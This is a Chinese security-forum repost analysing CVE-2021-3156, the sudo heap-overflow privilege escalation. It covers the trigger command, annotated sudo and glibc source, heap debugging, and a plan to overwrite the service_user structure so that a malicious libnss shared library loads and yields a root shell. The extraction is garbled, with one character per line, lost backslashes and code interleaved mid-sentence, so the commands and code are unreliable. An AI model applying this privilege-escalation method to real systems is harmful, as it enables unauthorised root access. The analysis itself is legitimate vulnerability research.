论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
漏洞
[16791] 2021-05-16_CVE-2021-3156:sudo堆溢出提权漏洞分析
文档创建者:
s7ckTeam
浏览次数:
10
最后更新:
2025-01-18
漏洞
10 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2021-05-16_CVE-2021-3156:sudo堆溢出提权漏洞分析
C
V
E
-
2
0
2
1
-
3
1
5
6
:
s
u
d
o
堆
溢
出
提
权
漏
洞
分
析
极
目
楚
天
舒
x
F
r
e
e
B
u
f
2
0
2
1
-
0
5
-
1
6
一
一
.
漏
洞
信
息
漏
洞
信
息
1
.
漏
洞
简
述
漏
洞
简
述
当
s
u
d
o
通
过
-
s
或
-
i
命
令
行
选
项
在
s
h
e
l
l
模
式
下
运
行
命
令
时
,
它
将
在
命
令
参
数
中
使
用
反
斜
杠
转
义
特
殊
字
符
。
但
使
用
-
s
或
-
i
标
志
运
行
s
u
d
o
e
d
i
t
时
,
实
际
上
并
未
进
行
转
义
,
从
而
可
能
导
致
缓
冲
区
溢
出
,
攻
击
者
可
以
使
用
本
地
普
通
用
户
利
用
s
u
d
o
获
得
系
统
r
o
o
t
权
限
。
2
.
漏
洞
影
响
漏
洞
影
响
类
型
:
本
地
权
限
提
升
等
级
:
高
危
影
响
范
围
:
s
u
d
o
1
.
8
.
2
~
2
.
8
.
3
1
p
2
,
s
u
d
o
1
.
9
.
0
~
1
.
9
.
5
p
1
二
二
.
漏
洞
复
现
漏
洞
复
现
本
机
操
作
系
统
是
U
b
u
n
t
u
1
8
.
0
4
,
内
核
版
本
为
5
.
3
.
0
-
2
8
,
所
使
用
的
s
u
d
o
命
令
版
本
为
1
.
8
.
2
1
p
2
。
在
终
端
输
入
命
令
s
u
d
o
e
d
i
t
-
s
‘
’
可
以
看
到
堆
已
经
被
破
坏
。
三
三
.
s
u
d
o
程
序
简
介
程
序
简
介
s
u
d
o
程
序
是
所
有
L
i
n
u
x
发
行
版
中
都
有
提
供
的
一
个
s
h
e
l
l
命
令
,
s
u
d
o
允
许
当
前
用
户
以
r
o
o
t
或
者
系
统
中
其
他
用
户
身
份
去
执
行
一
个
命
令
,
通
常
用
于
执
行
高
权
限
的
命
令
。
s
u
d
o
程
序
自
身
带
有
s
e
t
u
i
d
位
,
所
以
劫
持
s
u
d
o
程
序
即
可
修
改
当
前
进
程
的
e
u
i
d
实
现
权
限
提
升
。
该
漏
洞
涉
及
到
的
另
一
个
命
令
s
u
d
o
e
d
i
t
则
是
一
个
指
向
s
u
d
o
程
序
的
符
号
链
接
,
该
命
令
在
s
u
d
o
程
序
中
会
被
当
作
s
u
d
o
-
e
来
处
理
。
四
四
.
漏
洞
分
析
漏
洞
分
析
1
.
静
态
分
析
静
态
分
析
在
m
a
i
n
函
数
里
面
第
1
9
9
行
p
a
r
s
e
_
a
r
g
s
对
命
令
行
中
的
参
数
进
行
处
理
。
具
体
来
说
就
是
对
于
形
如
“
s
u
d
o
-
s
e
x
p
l
o
i
t
”
这
样
的
命
令
表
示
s
u
d
o
会
将
“
e
x
p
l
o
i
t
”
作
为
可
执
行
程
序
来
运
行
,
s
u
d
o
会
把
参
数
复
制
到
堆
上
,
并
在
堆
上
构
造
形
如
“
s
h
-
c
e
x
p
l
o
i
t
”
的
字
符
串
,
因
此
在
-
s
和
-
i
模
式
下
如
果
命
令
行
参
数
中
包
含
“
”
就
要
对
其
进
行
转
义
。
从
这
里
开
始
将
-
s
后
面
跟
着
的
参
数
称
为
c
o
m
m
a
n
d
。
-
s
或
-
i
参
数
使
得
M
O
D
E
_
R
U
N
和
M
O
D
E
_
S
H
E
L
L
标
志
被
置
位
,
进
入
到
转
义
部
分
代
码
。
首
先
调
用
r
e
a
l
l
o
c
a
r
r
a
y
分
配
了
大
小
为
2
倍
c
o
m
m
a
n
d
长
度
的
堆
块
,
目
的
是
防
止
最
极
端
的
情
况
c
o
m
m
a
n
d
部
分
全
部
为
“
”
。
接
下
来
f
o
r
循
环
对
c
o
m
m
a
n
d
部
分
进
行
遍
历
,
遇
到
元
字
符
就
在
前
面
加
上
“
”
进
行
转
义
,
这
里
的
“
”
在
程
序
编
译
的
时
候
会
被
转
化
为
0
x
5
c
(
“
”
)
。
经
过
这
一
步
c
o
m
m
a
n
d
就
会
被
复
制
到
堆
上
,
并
以
空
格
相
隔
。
p
e
r
l
-
e
‘
p
r
i
n
t
“
A
”
x
6
5
5
3
6
’
/
*
*
代
码
4
-
1
*
m
a
i
n
(
)
i
n
s
u
d
o
-
1
.
8
.
3
1
s
r
c
s
u
d
o
.
c
*
/
_
_
d
s
o
_
p
u
b
l
i
c
i
n
t
m
a
i
n
(
i
n
t
a
r
g
c
,
c
h
a
r
*
a
r
g
v
[
]
,
c
h
a
r
*
e
n
v
p
[
]
)
;
i
n
t
m
a
i
n
(
i
n
t
a
r
g
c
,
c
h
a
r
*
a
r
g
v
[
]
,
c
h
a
r
*
e
n
v
p
[
]
)
{
i
n
t
n
a
r
g
c
,
o
k
,
s
t
a
t
u
s
=
0
;
c
h
a
r
*
*
n
a
r
g
v
,
*
*
e
n
v
_
a
d
d
;
.
.
.
.
.
.
s
u
d
o
_
m
o
d
e
=
p
a
r
s
e
_
a
r
g
s
(
a
r
g
c
,
a
r
g
v
,
&
n
a
r
g
c
,
&
n
a
r
g
v
,
&
s
e
t
t
i
n
g
s
,
&
e
n
v
_
a
d
d
)
;
/
/
处
理
命
令
行
参
数
.
.
.
.
.
.
}
/
*
*
代
码
4
-
2
*
p
a
r
s
e
_
a
r
g
s
(
)
i
n
s
u
d
o
-
1
.
8
.
3
1
s
r
c
p
a
r
s
e
_
a
r
g
s
.
c
再
回
到
m
a
i
n
函
数
中
2
5
3
行
进
入
到
s
u
d
o
e
r
s
_
p
o
l
i
c
y
_
c
h
e
c
k
。
s
u
d
o
e
r
s
_
p
o
l
i
c
y
_
c
h
e
c
k
函
数
第
8
7
2
行
进
入
s
u
d
o
e
r
s
_
p
o
l
i
c
y
_
m
a
i
n
。
s
u
d
o
e
r
s
_
p
o
l
i
c
y
_
m
a
i
n
的
3
0
6
行
进
入
到
s
e
t
_
c
m
n
d
函
数
,
s
e
t
_
c
m
n
d
的
8
2
5
行
计
算
堆
块
大
小
并
分
配
堆
块
,
如
果
设
置
了
-
s
参
数
就
会
把
c
o
m
m
a
n
d
复
制
到
新
的
缓
冲
区
,
并
将
c
o
m
m
a
n
d
中
的
元
字
符
反
转
义
。
问
题
出
现
在
w
h
i
l
e
循
环
里
,
如
果
“
”
后
面
紧
跟
的
是
“
0
”
,
也
就
是
字
符
串
的
结
束
符
,
那
么
临
时
变
量
f
r
o
m
就
会
自
加
2
跳
过
“
0
”
进
入
到
下
一
个
字
符
串
,
于
是
乎
w
h
i
l
e
循
环
条
件
一
直
为
1
,
发
生
越
界
写
。
这
里
可
以
看
出
如
果
每
一
个
c
o
m
m
a
n
d
都
能
以
“
x
5
c
x
0
0
”
结
尾
,
w
h
i
l
e
循
环
便
可
以
一
直
向
u
s
e
r
_
a
r
g
s
堆
拷
贝
内
容
,
直
到
遇
到
“
x
0
0
”
。
*
/
i
f
(
I
S
S
E
T
(
m
o
d
e
,
M
O
D
E
_
R
U
N
)
&
&
I
S
S
E
T
(
f
l
a
g
s
,
M
O
D
E
_
S
H
E
L
L
)
)
{
c
h
a
r
*
*
a
v
,
*
c
m
n
d
=
N
U
L
L
;
i
n
t
a
c
=
1
;
i
f
(
a
r
g
c
!
=
0
)
{
/
*
s
h
e
l
l
-
c
"
c
o
m
m
a
n
d
"
*
/
c
h
a
r
*
s
r
c
,
*
d
s
t
;
s
i
z
e
_
t
c
m
n
d
_
s
i
z
e
=
(
s
i
z
e
_
t
)
(
a
r
g
v
[
a
r
g
c
-
1
]
-
a
r
g
v
[
0
]
)
+
s
t
r
l
e
n
(
a
r
g
v
[
a
r
g
c
-
1
]
)
+
1
;
/
/
c
o
m
m
a
n
d
部
分
长
度
c
m
n
d
=
d
s
t
=
r
e
a
l
l
o
c
a
r
r
a
y
(
N
U
L
L
,
c
m
n
d
_
s
i
z
e
,
2
)
;
/
/
这
是
为
了
防
止
所
有
字
符
都
需
要
转
义
f
o
r
(
a
v
=
a
r
g
v
;
*
a
v
!
=
N
U
L
L
;
a
v
+
+
)
{
f
o
r
(
s
r
c
=
*
a
v
;
*
s
r
c
!
=
'
0
'
;
s
r
c
+
+
)
{
/
*
q
u
o
t
e
p
o
t
e
n
t
i
a
l
m
e
t
a
c
h
a
r
a
c
t
e
r
s
*
/
i
f
(
!
i
s
a
l
n
u
m
(
(
u
n
s
i
g
n
e
d
c
h
a
r
)
*
s
r
c
)
&
&
*
s
r
c
!
=
'
_
'
&
&
*
s
r
c
!
=
'
-
'
&
&
*
s
r
c
!
=
'
$
'
)
*
d
s
t
+
+
=
'
'
;
/
/
对
反
斜
杠
进
行
转
义
*
d
s
t
+
+
=
*
s
r
c
;
}
*
d
s
t
+
+
=
'
'
;
/
/
将
分
散
于
多
个
单
引
号
的
字
符
串
组
合
成
命
令
行
,
以
空
格
隔
开
}
i
f
(
c
m
n
d
!
=
d
s
t
)
d
s
t
-
-
;
/
*
r
e
p
l
a
c
e
l
a
s
t
s
p
a
c
e
w
i
t
h
a
N
U
L
*
/
*
d
s
t
=
'
0
'
;
a
c
+
=
2
;
/
*
-
c
c
m
n
d
*
/
}
a
v
=
r
e
a
l
l
o
c
a
r
r
a
y
(
N
U
L
L
,
a
c
+
1
,
s
i
z
e
o
f
(
c
h
a
r
*
)
)
;
a
v
[
0
]
=
(
c
h
a
r
*
)
u
s
e
r
_
d
e
t
a
i
l
s
.
s
h
e
l
l
;
/
*
使
用
s
u
d
o
e
r
插
件
定
义
的
s
h
e
l
l
*
/
i
f
(
c
m
n
d
!
=
N
U
L
L
)
{
a
v
[
1
]
=
"
-
c
"
;
a
v
[
2
]
=
c
m
n
d
;
}
/
*
*
代
码
4
-
3
*
m
a
i
n
(
)
i
n
s
u
d
o
-
1
.
8
.
3
1
s
r
c
s
u
d
o
.
c
*
/
c
a
s
e
M
O
D
E
_
E
D
I
T
:
c
a
s
e
M
O
D
E
_
R
U
N
:
o
k
=
p
o
l
i
c
y
_
c
h
e
c
k
(
&
p
o
l
i
c
y
_
p
l
u
g
i
n
,
n
a
r
g
c
,
n
a
r
g
v
,
e
n
v
_
a
d
d
,
&
c
o
m
m
a
n
d
_
i
n
f
o
,
&
a
r
g
v
_
o
u
t
,
&
u
s
e
r
_
e
n
v
_
o
u
t
)
;
/
*
*
代
码
4
-
4
*
s
u
d
o
e
r
s
_
p
o
l
i
c
y
_
c
h
e
c
k
(
)
i
n
E
:
s
u
d
o
-
1
.
8
.
3
1
p
l
u
g
i
n
s
s
u
d
o
e
r
s
p
o
l
i
c
y
.
c
*
/
s
t
a
t
i
c
i
n
t
s
u
d
o
e
r
s
_
p
o
l
i
c
y
_
c
h
e
c
k
(
i
n
t
a
r
g
c
,
c
h
a
r
*
c
o
n
s
t
a
r
g
v
[
]
,
c
h
a
r
*
e
n
v
_
a
d
d
[
]
,
c
h
a
r
*
*
c
o
m
m
a
n
d
_
i
n
f
o
p
[
]
,
c
h
a
r
*
*
a
r
g
v
_
o
u
t
[
]
,
c
h
a
r
*
*
u
s
e
r
_
e
n
v
_
o
u
t
[
]
)
{
…
…
r
e
t
=
s
u
d
o
e
r
s
_
p
o
l
i
c
y
_
m
a
i
n
(
a
r
g
c
,
a
r
g
v
,
0
,
e
n
v
_
a
d
d
,
f
a
l
s
e
,
&
e
x
e
c
_
a
r
g
s
)
;
…
…
/
*
*
代
码
4
-
5
*
s
e
t
_
c
m
n
d
(
)
i
n
s
u
d
o
-
1
.
8
.
3
1
p
l
u
g
i
n
s
s
u
d
o
e
r
s
s
u
d
o
e
r
s
.
c
*
/
i
f
(
N
e
w
A
r
g
c
>
1
)
{
c
h
a
r
*
t
o
,
*
f
r
o
m
,
*
*
a
v
;
s
i
z
e
_
t
s
i
z
e
,
n
;
f
o
r
(
s
i
z
e
=
0
,
a
v
=
N
e
w
A
r
g
v
+
1
;
*
a
v
;
a
v
+
+
)
s
i
z
e
+
=
s
t
r
l
e
n
(
*
a
v
)
+
1
;
/
/
计
算
c
o
m
m
a
n
d
缓
冲
区
的
大
小
,
每
个
c
o
m
m
a
n
d
后
面
跟
一
个
空
格
符
i
f
(
s
i
z
e
=
=
0
|
|
(
u
s
e
r
_
a
r
g
s
=
m
a
l
l
o
c
(
s
i
z
e
)
)
=
=
N
U
L
L
)
{
/
/
分
配
堆
块
,
存
放
c
o
m
m
a
n
d
…
…
相
关
的
数
据
流
路
径
描
绘
出
来
如
下
图
所
示
:
回
到
代
码
4
-
5
的
w
h
i
l
e
循
环
,
要
让
“
”
作
为
c
o
m
m
a
n
d
的
结
尾
是
可
行
的
,
要
这
么
做
我
们
就
必
须
避
开
p
a
r
s
e
_
a
r
g
s
中
对
c
o
m
m
a
n
d
进
行
转
义
那
一
部
分
代
码
,
因
为
一
旦
发
生
转
义
便
会
出
现
2
个
“
”
,
无
法
满
足
漏
洞
触
发
条
件
。
我
们
看
一
下
漏
洞
触
发
命
令
s
u
d
o
e
d
i
t
-
s
‘
’
执
行
后
s
u
d
o
内
部
发
生
了
什
么
。
程
序
名
“
s
u
d
o
e
d
i
t
”
被
解
析
出
来
使
得
m
o
d
e
被
赋
值
为
M
O
D
E
_
E
D
I
T
,
-
s
参
数
使
得
f
l
a
g
s
的
M
O
D
E
_
S
H
E
L
L
位
被
置
1
,
此
时
满
足
绕
过
转
义
的
条
件
。
s
u
d
o
e
d
i
t
和
s
u
d
o
-
e
的
程
序
效
果
是
一
致
的
,
如
果
将
s
u
d
o
e
d
i
t
替
换
为
s
u
d
o
-
e
,
会
使
v
a
l
i
d
_
f
l
a
g
s
为
M
O
D
E
_
N
O
N
I
N
T
E
R
A
C
T
I
V
E
,
而
f
l
a
g
s
的
M
O
D
E
_
S
H
E
L
L
位
仍
然
为
1
,
最
后
的
i
f
校
验
就
无
法
通
过
。
此
时
的
s
u
d
o
的
_
_
l
i
b
c
_
s
t
a
r
t
_
m
a
i
n
函
数
的
参
数
栈
布
局
为
:
…
…
}
i
f
(
I
S
S
E
T
(
s
u
d
o
_
m
o
d
e
,
M
O
D
E
_
S
H
E
L
L
|
M
O
D
E
_
L
O
G
I
N
_
S
H
E
L
L
)
)
{
/
/
设
置
-
s
参
数
就
能
走
到
这
里
f
o
r
(
t
o
=
u
s
e
r
_
a
r
g
s
,
a
v
=
N
e
w
A
r
g
v
+
1
;
(
f
r
o
m
=
*
a
v
)
;
a
v
+
+
)
{
w
h
i
l
e
(
*
f
r
o
m
)
{
i
f
(
f
r
o
m
[
0
]
=
=
'
'
&
&
!
i
s
s
p
a
c
e
(
(
u
n
s
i
g
n
e
d
c
h
a
r
)
f
r
o
m
[
1
]
)
)
f
r
o
m
+
+
;
/
/
跳
过
反
斜
杠
*
t
o
+
+
=
*
f
r
o
m
+
+
;
/
/
复
制
反
斜
杠
后
面
的
字
符
}
*
t
o
+
+
=
'
'
;
/
/
每
个
c
o
m
m
a
n
d
后
面
跟
一
个
空
格
}
*
-
-
t
o
=
'
0
'
;
}
p
e
r
l
-
e
‘
p
r
i
n
t
“
A
”
x
6
5
5
3
5
’
/
*
*
代
码
4
-
6
*
p
a
r
s
e
_
a
r
g
s
(
)
i
n
s
u
d
o
-
1
.
8
.
3
1
p
l
u
g
i
n
s
s
u
d
o
e
r
s
s
u
d
o
e
r
s
.
c
*
/
i
n
t
v
a
l
i
d
_
f
l
a
g
s
=
D
E
F
A
U
L
T
_
V
A
L
I
D
_
F
L
A
G
S
;
/
/
v
a
l
i
d
_
f
l
a
g
s
包
含
了
M
O
D
E
_
S
H
E
L
L
p
r
o
g
n
a
m
e
=
g
e
t
p
r
o
g
n
a
m
e
(
)
;
/
/
获
取
第
一
个
参
数
的
名
称
p
r
o
g
l
e
n
=
s
t
r
l
e
n
(
p
r
o
g
n
a
m
e
)
;
i
f
(
p
r
o
g
l
e
n
>
4
&
&
s
t
r
c
m
p
(
p
r
o
g
n
a
m
e
+
p
r
o
g
l
e
n
-
4
,
"
e
d
i
t
"
)
=
=
0
)
{
p
r
o
g
n
a
m
e
=
"
s
u
d
o
e
d
i
t
"
;
/
/
处
理
程
序
名
为
s
u
d
o
e
d
i
t
的
情
况
m
o
d
e
=
M
O
D
E
_
E
D
I
T
;
/
/
这
里
直
接
给
m
o
d
e
赋
值
为
E
D
I
T
}
f
o
r
(
;
;
)
{
i
f
(
(
c
h
=
g
e
t
o
p
t
_
l
o
n
g
(
a
r
g
c
,
a
r
g
v
,
s
h
o
r
t
_
o
p
t
s
,
l
o
n
g
_
o
p
t
s
,
N
U
L
L
)
)
!
=
-
1
)
{
/
/
解
析
命
令
行
参
数
s
w
i
t
c
h
(
c
h
)
{
…
…
c
a
s
e
'
e
'
:
m
o
d
e
=
M
O
D
E
_
E
D
I
T
;
/
/
-
e
选
项
v
a
l
i
d
_
f
l
a
g
s
=
M
O
D
E
_
N
O
N
I
N
T
E
R
A
C
T
I
V
E
;
b
r
e
a
k
;
…
…
c
a
s
e
'
s
'
:
/
/
-
s
选
项
S
E
T
(
f
l
a
g
s
,
M
O
D
E
_
S
H
E
L
L
)
;
/
/
为
f
l
a
g
s
添
加
S
H
E
L
L
属
性
b
r
e
a
k
;
…
…
}
…
…
}
…
…
}
…
…
i
f
(
(
f
l
a
g
s
&
v
a
l
i
d
_
f
l
a
g
s
)
!
=
f
l
a
g
s
)
/
/
同
时
设
置
-
s
-
e
会
在
此
处
退
出
u
s
a
g
e
(
1
)
;
c
o
m
m
a
n
d
就
是
“
”
“
x
0
0
”
和
“
A
”
6
5
5
3
5
两
部
分
。
代
码
4
-
5
中
会
为
c
o
m
m
a
n
d
分
配
2
+
6
5
5
3
6
=
6
5
5
3
8
字
节
大
小
的
u
s
e
r
_
a
r
g
s
堆
块
,
但
实
际
上
复
制
到
u
s
e
r
_
a
r
g
s
中
的
内
容
为
:
发
生
越
界
写
,
甚
至
如
果
“
A
”
6
5
5
3
5
以
“
”
结
尾
,
跟
在
参
数
后
面
的
环
境
变
量
也
会
被
写
入
u
s
e
r
_
a
r
g
s
数
组
,
如
此
破
坏
了
后
续
的
堆
结
构
导
致
m
a
l
l
o
c
/
f
r
e
e
函
数
异
常
。
如
果
字
符
串
只
是
单
个
的
“
”
,
则
会
跳
过
“
”
将
“
x
0
0
”
复
制
到
缓
冲
区
,
利
用
这
个
技
巧
可
以
实
现
N
U
L
L
字
节
写
入
。
2
.
动
态
分
析
动
态
分
析
在
分
配
堆
块
给
u
s
e
r
_
a
r
g
s
的
位
置
下
断
点
断
下
后
观
察
分
配
的
堆
块
大
小
为
6
5
5
3
8
,
实
际
分
配
的
堆
块
大
小
为
0
x
1
0
0
1
0
。
溢
出
发
生
之
前
的
u
s
e
r
_
a
r
g
s
块
后
面
紧
跟
着
未
分
配
的
t
o
p
c
h
u
n
k
,
大
小
为
0
x
2
0
d
5
0
。
溢
出
发
生
后
t
o
p
c
h
u
n
k
的
s
i
z
e
字
段
被
0
x
4
1
覆
盖
。
后
续
如
果
有
m
a
l
l
o
c
分
配
堆
块
,
对
t
o
p
c
h
u
n
k
的
s
i
z
e
字
段
进
行
检
查
必
然
通
不
过
,
进
程
退
出
。
五
五
.
漏
洞
利
用
思
路
漏
洞
利
用
思
路
Q
u
a
l
y
s
等
人
的
公
布
的
漏
洞
信
息
中
提
到
了
三
种
利
用
方
法
,
利
用
思
路
是
仅
通
过
一
次
堆
溢
出
来
覆
盖
关
键
结
构
达
到
劫
持
程
序
流
的
目
的
。
虽
然
思
路
很
简
单
但
是
实
施
过
程
却
异
常
耗
时
间
,
主
要
的
问
题
在
于
攻
击
向
量
的
构
造
,
这
里
面
的
难
点
在
于
如
何
将
关
键
结
构
布
置
到
我
们
即
将
溢
出
的
堆
块
即
u
s
e
r
_
a
r
g
s
附
近
。
原
文
通
过
F
u
z
z
的
方
法
构
造
一
系
列
的
堆
排
列
并
对
u
s
e
r
_
a
r
g
s
进
行
溢
出
,
捕
获
所
有
的
S
I
G
S
E
G
V
异
常
,
从
中
选
取
了
3
种
进
行
利
用
。
我
选
择
了
研
究
第
二
种
方
法
,
覆
盖
s
e
r
v
i
c
e
_
u
s
e
r
结
构
导
致
在
n
s
s
_
l
o
a
d
_
l
i
b
r
a
r
y
中
的
访
问
异
常
。
c
m
p
q
指
令
访
问
了
0
x
4
2
4
2
4
2
4
2
处
的
内
容
。
1
.
攻
击
向
量
分
析
攻
击
向
量
分
析
被
溢
出
的
s
e
r
v
i
c
e
_
u
s
e
r
结
构
如
下
,
该
结
构
用
大
小
为
0
x
4
0
+
s
i
z
e
o
f
(
n
a
m
e
)
的
堆
块
存
放
。
传
入
n
s
s
_
l
o
a
d
_
l
i
b
r
a
r
y
的
s
e
r
v
i
c
e
_
u
s
e
r
结
构
的
l
i
b
r
a
r
y
字
段
被
覆
盖
了
0
x
4
2
4
2
4
2
4
2
,
在
访
问
l
i
b
r
a
r
y
-
>
h
a
n
d
l
e
r
时
出
现
了
异
常
。
n
s
s
_
l
o
a
d
_
l
i
b
r
a
r
y
作
用
是
载
入
.
s
o
文
件
,
第
一
次
载
入
.
s
o
文
件
时
n
i
-
>
l
i
b
r
a
r
y
字
段
为
空
,
会
向
n
s
s
_
n
e
w
_
s
e
r
v
i
c
e
申
请
l
i
b
_
h
a
n
d
l
e
=
=
N
U
L
L
的
s
e
r
v
i
c
e
_
l
i
b
r
a
r
y
,
通
过
下
一
个
i
f
检
查
,
完
成
共
享
库
名
的
构
造
,
最
后
调
用
_
_
l
i
b
c
_
d
l
o
p
e
n
载
入
共
享
库
。
我
们
的
想
法
是
覆
盖
n
i
-
>
l
i
b
r
a
r
y
=
0
,
n
i
-
>
n
a
m
e
=
“
s
h
e
l
l
”
,
如
此
将
载
入
e
x
p
l
o
i
t
目
录
下
的
l
i
b
n
s
s
_
s
h
e
l
l
.
s
o
共
享
库
,
在
共
享
库
的
c
o
n
s
t
r
u
c
t
o
r
函
数
中
构
造
提
权
s
h
来
获
取
r
o
o
t
s
h
e
l
l
。
利
用
关
键
在
于
通
过
u
s
e
r
_
a
r
g
s
溢
出
到
s
e
r
v
i
c
e
_
u
s
e
r
结
构
,
u
s
e
r
_
a
r
g
s
必
须
位
于
s
e
r
v
i
c
e
_
u
s
e
r
之
前
且
两
者
的
偏
移
不
能
太
大
以
免
覆
盖
其
他
数
据
结
构
导
致
利
用
失
败
。
问
题
转
化
如
何
通
过
传
递
给
s
u
d
o
e
d
i
t
的
参
数
来
控
制
u
s
e
r
_
a
r
g
s
分
配
之
前
的
堆
布
局
使
之
符
合
上
述
要
求
。
S
u
d
o
最
初
会
调
用
s
e
t
l
o
c
a
l
e
读
取
环
境
变
量
中
的
参
数
来
对
程
序
本
地
化
进
行
设
置
,
这
期
间
会
为
环
境
变
量
分
配
和
释
放
相
应
的
堆
块
到
t
c
a
c
h
e
和
f
a
s
t
b
i
n
中
,
在
堆
区
域
初
始
位
置
产
t
y
p
e
d
e
f
s
t
r
u
c
t
s
e
r
v
i
c
e
_
u
s
e
r
{
s
t
r
u
c
t
s
e
r
v
i
c
e
_
u
s
e
r
*
n
e
x
t
;
l
o
o
k
u
p
_
a
c
t
i
o
n
s
a
c
t
i
o
n
s
[
5
]
;
s
e
r
v
i
c
e
_
l
i
b
r
a
r
y
*
l
i
b
r
a
r
y
;
v
o
i
d
*
k
n
o
w
n
;
c
h
a
r
n
a
m
e
[
0
]
;
}
s
e
r
v
i
c
e
_
u
s
e
r
;
/
*
*
代
码
5
-
1
*
n
s
s
_
l
o
a
d
_
l
i
b
r
a
r
y
(
)
i
n
g
l
i
b
c
-
2
.
3
1
g
l
i
b
c
-
2
.
3
1
n
s
s
n
s
s
w
i
t
c
h
.
c
*
/
s
t
a
t
i
c
i
n
t
n
s
s
_
l
o
a
d
_
l
i
b
r
a
r
y
(
s
e
r
v
i
c
e
_
u
s
e
r
*
n
i
)
{
i
f
(
n
i
-
>
l
i
b
r
a
r
y
=
=
N
U
L
L
)
{
n
i
-
>
l
i
b
r
a
r
y
=
n
s
s
_
n
e
w
_
s
e
r
v
i
c
e
(
s
e
r
v
i
c
e
_
t
a
b
l
e
?
:
&
d
e
f
a
u
l
t
_
t
a
b
l
e
,
n
i
-
>
n
a
m
e
)
;
i
f
(
n
i
-
>
l
i
b
r
a
r
y
=
=
N
U
L
L
)
r
e
t
u
r
n
-
1
;
}
i
f
(
n
i
-
>
l
i
b
r
a
r
y
-
>
l
i
b
_
h
a
n
d
l
e
=
=
N
U
L
L
)
/
/
c
m
p
q
$
0
x
0
,
0
x
8
(
%
r
b
x
)
{
/
*
L
o
a
d
t
h
e
s
h
a
r
e
d
l
i
b
r
a
r
y
.
*
/
s
i
z
e
_
t
s
h
l
e
n
=
(
7
+
s
t
r
l
e
n
(
n
i
-
>
n
a
m
e
)
+
3
+
s
t
r
l
e
n
(
_
_
n
s
s
_
s
h
l
i
b
_
r
e
v
i
s
i
o
n
)
+
1
)
;
/
/
计
算
共
享
库
名
字
长
度
c
h
a
r
s
h
l
i
b
_
n
a
m
e
[
s
h
l
e
n
]
;
_
_
s
t
r
c
p
y
(
_
_
s
t
r
c
p
y
(
_
_
s
t
r
c
p
y
(
_
_
s
t
r
c
p
y
(
s
h
l
i
b
_
n
a
m
e
,
"
l
i
b
n
s
s
_
"
)
,
n
i
-
>
n
a
m
e
)
,
"
.
s
o
"
)
,
_
_
n
s
s
_
s
h
l
i
b
_
r
e
v
i
s
i
o
n
)
;
/
/
构
造
形
如
l
i
b
n
s
s
_
x
x
x
.
s
o
的
共
享
库
名
n
i
-
>
l
i
b
r
a
r
y
-
>
l
i
b
_
h
a
n
d
l
e
=
_
_
l
i
b
c
_
d
l
o
p
e
n
(
s
h
l
i
b
_
n
a
m
e
)
;
/
/
载
入
共
享
库
生
一
些
空
洞
。
由
于
从
s
e
t
l
o
c
a
l
e
到
分
配
u
s
e
r
_
a
r
g
s
这
条
路
径
中
间
还
包
含
大
量
的
m
a
l
l
o
c
/
f
r
e
e
操
作
加
之
程
序
运
行
环
境
的
影
响
,
在
此
期
间
初
始
堆
布
局
会
被
完
全
打
乱
,
因
此
精
确
分
析
堆
的
行
为
是
不
可
行
的
。
我
们
唯
一
可
以
确
定
的
是
可
以
通
过
传
递
给
s
e
t
l
o
c
a
l
e
的
环
境
变
量
来
控
制
u
s
e
r
_
a
r
g
s
分
配
之
前
的
堆
布
局
,
具
体
的
控
制
关
系
是
模
糊
的
。
在
此
我
想
到
了
一
个
办
法
,
在
即
将
分
配
u
s
e
r
_
a
r
g
s
的
时
候
下
断
点
,
统
计
正
在
使
用
中
的
堆
块
的
大
小
按
照
从
小
到
大
顺
序
排
列
,
发
现
当
前
正
在
使
用
的
堆
块
中
没
有
s
i
z
e
=
0
x
8
0
的
堆
块
。
于
是
想
到
如
果
能
通
过
环
境
变
量
控
制
s
e
t
l
o
c
a
l
e
在
堆
的
较
低
地
址
的
位
置
产
生
一
个
大
小
为
0
x
8
0
的
t
c
a
c
h
e
或
f
a
s
t
b
i
n
,
那
么
我
就
可
以
将
它
分
配
给
u
s
e
r
_
a
r
g
s
。
这
么
做
基
于
两
点
考
虑
,
第
一
这
个
堆
块
完
全
受
我
控
制
,
第
二
这
个
堆
块
位
于
堆
空
间
低
地
址
有
较
大
的
概
率
可
以
向
后
覆
盖
到
s
e
r
v
i
c
e
_
u
s
e
r
结
构
。
至
于
其
他
的
不
利
因
素
暂
时
不
予
以
考
虑
。
接
下
来
问
题
转
化
为
如
何
控
制
传
递
给
s
u
d
o
e
d
i
t
的
环
境
变
量
来
产
生
s
i
z
e
=
0
x
8
0
的
空
闲
堆
块
。
通
过
分
析
s
e
t
l
o
c
a
l
e
代
码
和
调
试
可
以
产
生
0
x
8
0
堆
块
,
但
是
每
次
在
即
将
进
入
n
s
s
_
l
o
a
d
_
l
i
b
r
a
r
y
之
前
异
常
终
止
,
说
明
已
经
覆
盖
到
了
其
他
的
数
据
结
构
。
根
据
回
溯
可
以
判
断
应
该
是
覆
盖
了
n
s
s
_
d
a
t
a
b
a
s
e
_
l
o
o
k
u
p
2
的
相
关
的
相
关
数
据
结
构
。
载
入
数
据
结
构
。
载
入
n
s
s
动
态
库
的
过
程
是
,
第
一
次
调
用
动
态
库
的
过
程
是
,
第
一
次
调
用
n
s
s
_
d
a
t
a
b
a
s
e
_
l
o
o
k
u
p
2
函
数
时
,
会
解
析
/
e
t
c
/
n
s
s
w
i
t
c
h
.
c
o
n
f
配
置
文
件
里
的
d
a
t
a
b
a
s
e
_
e
n
t
r
y
和
s
e
r
v
i
c
e
_
u
s
e
r
。
配
置
文
件
解
析
到
内
存
中
的
数
据
关
系
如
下
图
所
示
。
其
中
s
e
r
v
i
c
e
_
t
a
b
l
e
是
全
局
变
量
指
向
唯
一
的
n
a
m
e
_
d
a
t
a
b
a
s
e
结
构
,
n
a
m
e
_
d
a
t
a
b
a
s
e
管
理
着
从
配
置
文
件
读
取
到
的
所
有
d
a
t
a
b
a
s
e
_
e
n
t
r
y
,
每
个
d
a
t
a
b
a
s
e
_
e
n
t
r
y
管
理
着
对
应
的
s
e
r
v
i
c
e
_
u
s
e
r
。
进
入
_
_
n
s
s
_
d
a
t
a
b
a
s
e
_
l
o
o
k
u
p
2
函
数
之
前
的
空
闲
链
表
如
下
:
/
*
*
代
码
5
-
2
*
m
a
i
n
(
)
i
n
s
u
d
o
-
1
.
8
.
3
1
s
r
c
s
u
d
o
.
c
*
/
i
n
